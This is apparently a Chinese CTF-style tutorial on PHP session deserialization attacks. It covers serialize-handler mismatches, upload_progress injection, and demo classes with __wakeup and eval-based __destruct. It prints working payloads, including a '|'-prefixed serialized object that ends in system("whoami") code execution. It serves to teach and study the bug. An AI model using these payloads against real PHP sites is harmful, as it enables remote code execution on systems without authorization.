session反序列化攻击
session介绍
Session 是另一种记录客户状态的机制,被称为“会话控制”,客户端浏览器访问服务器的时候,服务器把客户端信息以Session形式记录在服务器中,Session 对象存储特定用户会话所需的属性及配置信息,这样就可以保证用户在应用程序的Web页面之间跳转时,存储在Session中的变量不会丢失,而是在整个会话周期中一直存在。客户端浏览器再次访问时只需要从该 Session 中查找该客户的状态就可以了。当会话过期或者被放弃后,服务器将终止该会话
session运行流程
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start()函数
当会话自动开始或者通过 session_start()
手动开始的时候, PHP 内部会进行如下操作:
1.依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
2.调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
php.ini中session相关配置
session.save_path="" session的存储路径
session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(例如数据库)
session.auto_start boolen 指定绘画模块是否在请求开始的时候启动一个会话,默认情况下为0,不启动
session.serialize_handler string 定义用来序列化/反序列化的处理器的名字,默认使用PHP
以上的路径是我自己使用PHPstudy搭建的环境中的路径,在Linux
中常见的session存放位置的路径如下
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
session可能导致的攻击层面
Session序列化攻击
Session文件包含
Session伪造用户登录
Session逻辑漏洞
Session序列化攻击
Serialize_handler
我们要了解Session的攻击之前,我们还需要了解Session机制中对序列化的处理方式,在php中存在三种序列化处理引擎:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
测试代码:
<?php
ini_set("session.serialize_handler","php");
ini_set("session.serialize_handler","php_binary");
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['test'] = "Alexsel";
?>
按顺序依次的输出结果:
test|s:7:"Alexsel";
tests:7:"Alexsel";
a:1:{s:4:"test";s:7:"Alexsel";}
其中第二条文件中样式:
由于Session引擎不同进行攻击
我们在phpinfo()
信息中可以看到我们php相关参数信息,其中也包括我们默认的session.serialize_handler
,一般情况下是php
,如果有些文件中如果想要使用其它引擎来处理session,就会自己设置session的引擎,如果我们在代码中看到有自己设置引擎的情况存在,就有可能存在问题,因为可能会导致生成session的引擎和处理Session的引擎不是一个从而导致问题。
我们可以通过一个Demo来学习:demo1.php
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['test'] = $_GET['a'];
var_dump($_SESSION);
?>
demo2.php
<?php
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo $this->name;
}
}
?>
我们可以看到demo.php
中修改了默认引擎为php_serialize
,而第demo2.php
中使用的是默认的引擎php
,这种情况就出现了不同引擎来处理session的情况。
我们之前了解session
的运行机制以及session_start()
函数的介绍,还有不同引擎存放session
格式之间的差异之后,我们可以知道|
在php引擎中是键与值的分割,而在php_serialize
中没有分割的意思,仅仅代表一个字符,所以在两种不同引擎解析的情况下,我们在demo1.php
中传入带有|
的参数,然后在demo2.php
读取session
,由于|
被当作分割,|
之后的内容会被反序列化处理(这里为什么会反序列化,可以看我们之前对session_start()
函数的介绍)。
这里我们首先根据demo2.php
中的类来生成一个序列化后的内容供我们之后进行测试
<?php
session_start();
class student{
var $name = "Alexsel";
var $age = "3";
}
$obj = new student();
echo serialize($obj);
?>
输出结果:
O:7:"student":2:{s:4:"name";s:7:"Alexsel";s:3:"age";s:1:"3";}
接下来我们就根据php_searialize
输出session
文件的内容进行构造,首先我们知道我们需要在最开始添加一个|
,剩下的内容就是我们之前生成的内容,替换到生成的session
应该是如下的样子
a:1:{s:4:"test";s:7:"|O:7:"student":2:{s:4:"name";s:7:"Alexsel";s:3:"age";s:1:"3";}";}
这个时候我们会发现,最后多出了一个";}
,那我们就将我们传入的内容中删去这部分,最终的payload
:
|O:7:"student":2:{s:4:"name";s:7:"Alexsel";s:3:"age";s:1:"3
在没有传入payload
的情况下访问demo2.php
,无内容输出
接着我们在demo1
中传入payload
然后访问demo2
最终成功触发了__wakeup()
方法。
没有$_SESSION变量赋值的情况
之前我们测试情况是存在$_SESSION
变量赋值的情况,如果代码中不存在$_SESSION
的赋值,我们该如何利用?这种情况我们还需要了解php
中的一个upload_progress
机制,这个机制是在session.upload_progress.enabled
开启的情况下,在文件上传的同时发送一个POST
请求,这个POST
请求的变量与session.upload_progress.name
相同的时候,PHP
会在$_SESSION
中添加一组数据,索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。这样我们又达到了对$_SESSION
变量的控制。具体介绍我们可以去查看一下官方文档:https://www.php.net/manual/zh/session.upload-progress.php
最开始我不理解为什么这种方法会可以成功,后来我仔细看了官方文档的时候,我发现当我们在POST中添加了session.upload_progress.name
同名变量的时候就会生成一个以session.upload_progress.prefix
和session.upload_progress.name
连接在一起的$_SESSION
的键,其中的值为如下,下面的代码也是从官网中的介绍截图而来。
刚才我们提到了几个变量,我们可以在phpinfo
中查看到其内容:
既然变量又可以控制了,那我们需要的条件从原来的使用的了不同的引擎,现在又增加了一个是需要在上传的时候提交POST内容,其实除此之外如果我们想要输出$_SESSION中的内容,还有一个条件就是phpinfo()
中session.upload_progress.cleanup
这个值的需要是off
,这个这个选项的意思是上传完成时从session中清除上传进度信息,默认为开启,如果将其关闭的化,这个上传进度信息会一直留在session中,只有这个选项也是关闭的时候,才能够成功触发漏洞。
接下来我们以一个简单的Demo为例子来进行练习。
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class Test
{
public $name="phpinfo();";
function __destruct()
{
eval($this->name);
}
}
if(isset($_GET['phpinfo']))
{
$m = new Test();
}
当我们随便给phpinfo
传入一个值的时候,就显示phpinfo
的页面,我们可以发现其使用的引擎是不一样的
我么构造一个上传的页面,这里就直接借用php官网的上传测试页面,就在讲解session上传进度的页面中,我们复制过来修改一下
<form action="http://192.168.252.182/anh/Test.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name='<?php echo ini_get("session.upload_progress.name"); ?>' value="123" />
<input type="file" name="file1" />
<input type="submit" />
</form>
接下来我们根据其提供的源码来构造处一个反序列化的字符串,一会儿供我们测试
<?php
class Test
{
public $name="echo 123;";
}
$obj = new Test();
echo serialize($obj);
?>
输出结果:
O:4:"Test":1:{s:4:"name";s:9:"echo 123;";}
不过在我们传输参数的时候由于外层使用的也是双引号,我们可以将其替换为单引号或者将双引号转义:
O:4:\"Test\":1:{s:4:\"name\";s:9:\"echo 123;\";}
经过测试我们的代码可以执行,由于我们要解题,我们可以查看当前目录下是否会包含flag文件,所以我们将执行的代码替换为system("whoami")
,为了让反序列化执行,我们需要在最开始添加|
。
|O:4:"Test":1:{s:4:"name";s:17:"system("whoami");";}
最终输出了我们结果,这里有一个关键点是我们需要指定或者从它返回的cookie中设置cookie:
参考文章:
https://zhuanlan.zhihu.com/p/90879209